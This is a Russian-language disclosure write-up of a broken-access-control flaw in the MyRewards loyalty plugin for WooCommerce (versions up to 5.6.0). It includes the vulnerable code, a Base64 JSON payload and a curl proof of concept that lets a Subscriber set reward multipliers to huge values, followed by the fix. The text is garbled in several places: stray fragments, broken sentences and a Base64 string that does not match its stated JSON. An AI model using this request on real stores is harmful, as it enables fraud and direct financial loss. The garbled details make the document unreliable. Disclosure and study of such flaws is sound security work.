
Отсутствие авторизации / Нарушенный контроль доступа в плагине MyRewards – Loyalty Points and Rewards for WooCommerce
Отказ от ответственности: Этот репозиторий создан только для образовательных целей и этичного раскрытия. Уязвимость была ответственно сообщена разработчику и исправлена. Не используйте эту информацию для эксплуатации систем без надлежащего разрешения.
Критическая уязвимость нарушенного контроля доступа / повышения привилегий была обнаружена в плагине MyRewards (WooRewards) для WooCommerce (версии <= 5.6.0). Эта ошибка позволяет любому вошедшему пользователю, даже с минимальными привилегиями, такими как Подписчики, обойти авторизацию и изменять чувствительные правила вознаграждений магазина.
Используя эту уязвимость, злоумышленник может увеличить множитель баллов лояльности до астрономического значения (например, h999,999,999'), что позволит ему накопить огромное количество баллов с одной небольшой покупки и обменять их на купоны или бесплатные товары, что приведет к прямым финансовым потерям для магазина.
<= 5.6.0Первоначальная причина этой уязвимости заключается в отсутствии проверок прав доступа (Capability Checks) или защиты от CSRF на критических AJAX-эндпоинтах, обрабатывающих изменения в базе данных.
1. Неавторизованная регистрация AJAX:
Плагин использует общий класс контроллера (EditlistControler) для управления CRUD-операциями. В файле editlistcontroler.php он регистрирует AJAX-действие editlist с помощью хука gwp_ajax_, делая его доступным для ВСЕХ вошедших пользователей, независимо от их роли:
add_action('wp_ajax_lws_adminpanel_editlist', array($this, 'ajax'));
2. Отсутствие авторизации и проверки nonce:
Внутри методов ajax() и accept() код обрабатывает запросы, изменяющие состояние (например, put для обновления, del для удаления), основываясь исключительно на пользовательском вводе. Он полностью пропускает вызовы current_user_can() и check_ajax_referer(), что означает отсутствие проверки наличия у пользователя прав manage_woocommerce.
3. Опасная обработка полезной нагрузки:
Эндпоинт принимает строку JSON, закодированную в Base64, через параметр line, которая декодируется и передается напрямую в метод EventList::write()p, сохраняя вредоносные настройки непосредственно в базу данных:
$data = json_decode(base64_decode($line), true);
$this->m_Source->write($data);
Следующие шаги демонстрируют, как аутентифицированный Подписчик может использовать эту ошибку.
subscriber.101) является последовательным и легко перебирается путем наблюдения за ответами AJAX-запросов.Мы хотим обновить множитель баллов правила ID 101 до 999,999,999,999,999.
Исходный JSON
{
"post_id":"101",
"wre_type":"lws_woorewards_events_orderamount",
"lws_woorewards_events_orderamount_multiplier": "999999999999999"
}
Закодированный в Base64 ('значение line')
eyJwb3N0X2lkIjoiMTAxIiwid3JlX3R5cGUiOiJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnQiLCJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnRfbWVsdGlwbGl1ciI6ICI5OTk5OTk5OTk5OTk5OTk5In0
Выполните следующий CURL-запрос от имени пользователя с низкими привилегиями:
curl -i -X POST 'http://TARGET_SITE/wp-admin/admin-ajax.php' \
-H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
-b '[Subscriber_Cookies_Here]' \
-d 'action=lws_adminpanel_editlist&method=put&id=EventList&line=eyJwb3N0X2lkIjoiMTAxIiwid3JlX3R5cGUiOiJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnQiLCJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnRfbWVsdGlwbGl1ciI6ICI5OTk5OTk5OTk5OTk5OTk5In0'
{"status":1}, подтверждающий обновление.Чтобы исправить эту проблему, обновите плагин MyRewards до последней исправленной версии. Разработчик решил ее следующим образом:
current_user_can() внутри AJAX-контроллера для проверки административных привилегий.check_ajax_referer() для проверки nonce и предотвращения межсайтовой подделки запросов (CSRF).Краткое описание процесса раскрытия, демонстрирующее соблюдение этических норм: